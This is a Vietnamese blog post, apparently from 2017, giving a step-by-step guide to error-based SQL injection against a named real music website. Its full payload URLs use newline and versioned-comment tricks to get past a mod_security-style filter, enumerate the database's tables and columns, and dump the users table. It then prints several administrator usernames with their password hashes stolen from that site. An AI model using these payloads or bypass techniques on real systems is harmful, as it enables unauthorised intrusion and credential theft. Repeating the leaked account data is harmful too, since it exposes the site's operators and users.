Thứ Tư, 7 tháng 6, 2017

Hướng Dẫn Hack site lỗi SQL bị chặn xuất hiện “406 Not Acceptable “

Hướng Dẫn Hack site lỗi SQL bị chặn xuất hiện “406 Not Acceptable “

Hướng Dẫn Hack site lỗi SQL bị chặn xuất hiện “406 Not Acceptable “
Kiểm tra đường link bị lỗi bằng cách them dấu “ ‘ “ :
http://www.mp3hungama.com/music/genre_albums.php?id=1
Xuất hiện lỗi: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘\” at line 1
Bước 1: +) Check Số số trường cột: sử dụng: “order by …–“
http://www.mp3hungama.com/music/genre_albums.php?id=1 order by 10–
Site bị lỗi, tiếp tục thử:
+) http://www.mp3hungama.com/music/genre_albums.php?id=1 order by 3–
Site bình thường, tiếp tục:
+) http://www.mp3hungama.com/music/genre_albums.php?id=1 order by 4–
Ok, site bị lỗi, chứng tỏ số cột có trong database là: 4-1 =3
Chúng ta tiếp tục khai thác nhé!
Bước 2: Lấy thông tin về version, database, user:
Câu lệnh đúng cả mà xuất hiện lỗi:
406 Not Acceptable
This request is not acceptable
________________________________________
Powered By LiteSpeed Web Server
LiteSpeed Technologies is not responsible for administration and contents of this web site!

+) Với lỗi này, ta thay khoảng trắng space bằng: %0a
http://www.mp3hungama.com/music/genre_albums.php?id=1 union%0aselect 1,2,3–
Ok, trang đã vào được, nhưng sao không thấy số má gì cả nhỉ, thử thay số 1 bằng null xem
http://www.mp3hungama.com/music/genre_albums.php?id=null union%0aselect 1,2,3–
Cũng không được. Cách đó bỏ qua, bây giờ chúng ta chuyển sng cách khác:
http://www.mp3hungama.com/music/genre_albums.php?id=1 and (select 1 from (select count(*),concat((select%0aconcat_ws(version(),database(),user())),floor(rand(0)*2))ducdung08clc from information_schema.tables group by ducdung08clc)bachkhoa)
hix, vẫn bị lỗi
406 Not Acceptable
This request is not acceptable
________________________________________
Powered By LiteSpeed Web Server
LiteSpeed Technologies is not responsible for administration and contents of this web site!
Để khăc phục lỗi này, ta thử chèn %0a giữa select và concat_ws xem,
http://www.mp3hungama.com/music/genre_albums.php?id=1 and (select 1 from (select count(*),concat((select%0aconcat_ws(version(),database(),user())),floor(rand(0)*5))ducdung08clc from information_schema.tables group by ducdung08clc)bachkhoa)
Ok, đã xuất hiện thông tin ta muốn:
[Duplicate entry ‘hungama_music5.0.92-community-loghungama_fizi@localhost1’ for key 1
Version 5. , ngon roofy, không cần phải mò mẫn.
Bước 3: Exploit tên tables
+ Chèn đoạn mã sau:
http://www.mp3hungama.com/music/genre_albums.php?id=1 and (select 1 from (select count(*),concat((select%0a/*!5000table_name*/ from information_schema.tables /*!5000where*/ table_schema=database() limit 0,1),floor(rand(0)*2))ducdung08clc from information_schema.tables group by ducdung08clc)bachkhoa)
Lưu ý: ta đặt /*!5000…..*/ mục đích để không bị chăn bởi mod security khi xuất hiện lỗi: “406 Not Acceptable “
Ta được table đầu tiên: ‘active_guests’
Duplicate entry ‘active_guests1’ for key 1
+) Để lấy các tables tiếp theo ta thay: limit 1,1 rồi limit 2,1…. Cho tới khi nào tới table mà mình cần lấy.
Limit 1,1 table là: active_users
Limit 2,1 table là: admin_review_mgt1…..
Và table tôi muốn khai thác là: limit 43,1: users
http://www.mp3hungama.com/music/genre_albums.php?id=1 and (select 1 from (select count(*),concat((select%0a/*!5000table_name*/ from information_schema.tables /*!5000where*/ table_schema=database() limit 43,1),floor(rand(0)*2))ducdung08clc from information_schema.tables group by ducdung08clc)bachkhoa)
Duplicate entry ‘users1’ for key 1
Ok! Tiếp tục khai thác table “users”
Bước 4: Exploit tên columns
+) http://www.mp3hungama.com/music/genre_albums.php?id=1 and (select 1 from (select count(*),concat((select%0a/*!5000column_name*/ from information_schema.columns /*!5000where*/ table_schema=database() and /*!5000table_name*/=0x7573657273 limit 0,1),floor(rand(0)*2))ducdung08clc from information_schema.tables group by ducdung08clc)bachkhoa)
Xuât hiện column đầu tiên là: “username”
Duplicate entry ‘username1’ for key 1
+) Tương tự như trên, limit 1,1
http://www.mp3hungama.com/music/genre_albums.php?id=1 and (select 1 from (select count(*),concat((select%0a/*!5000column_name*/ from information_schema.columns /*!5000where*/ table_schema=database() and /*!5000table_name*/=0x7573657273 limit 1,1),floor(rand(0)*2))ducdung08clc from information_schema.tables group by ducdung08clc)bachkhoa)
Ta được column thứ 2: password
Duplicate entry ‘password1’ for key 1
Như thế là đủ rồi các bạn nhỉ,
Bước 5: Lấy thông tin admin:
+)http://www.mp3hungama.com/music/genre_albums.php?id=1 and (select 1 from (select count(*),concat((select%0Aconcat(username,0x7c,password) from users limit 0,1),floor(rand(0)*2))ducdung08clc from information_schema.tables group by ducdung08clc)bachkhoa)
Kêt quả: Duplicate entry ‘admin|3d145b6d4827e1f25994a3da418419e41’ for key 1
Ta đã có tài khoản admin bao gồm: username/password: admin|3d145b6d4827e1f25994a3da418419e4
Lưu ý: từ đầu bài đến giờ ta không quan tâm con số 1 ở cuối, nên bây giờ password mã hóa ta cũng không cho số 1 ấy vào
+) Để lấy các tài khoản quản trị khác ta cứ việc lên “limit”
Với limit 1,1 ta được username/password:
obaid|15d4b4bb7b462baf16e04eadc399e4be
Với limit 2,1 ta được username/password:
geniusarien|2cbb8de1484e29bb4ad9865412c36f26
Với limit 3,1 ta được username/password:
junaidshaheen|a7899c013b27bd38e1e3a1905dfc1a65
Với limit 4,1 ta được username/password:
nicx|7eb865ffc81fb5eb3638ddbcfcb6a68c
Với limit 5,1 ta được username/password:
munib|f5a4324a48f0f18095e7de550b2407bb
Hix, tài nhiều tài khoản quá, các bạn muốn lấy tiếp thì làm tương tự nhé. Quan trong là có được admin bigsmile
Chúc Vui!

Không có nhận xét nào:

Đăng nhận xét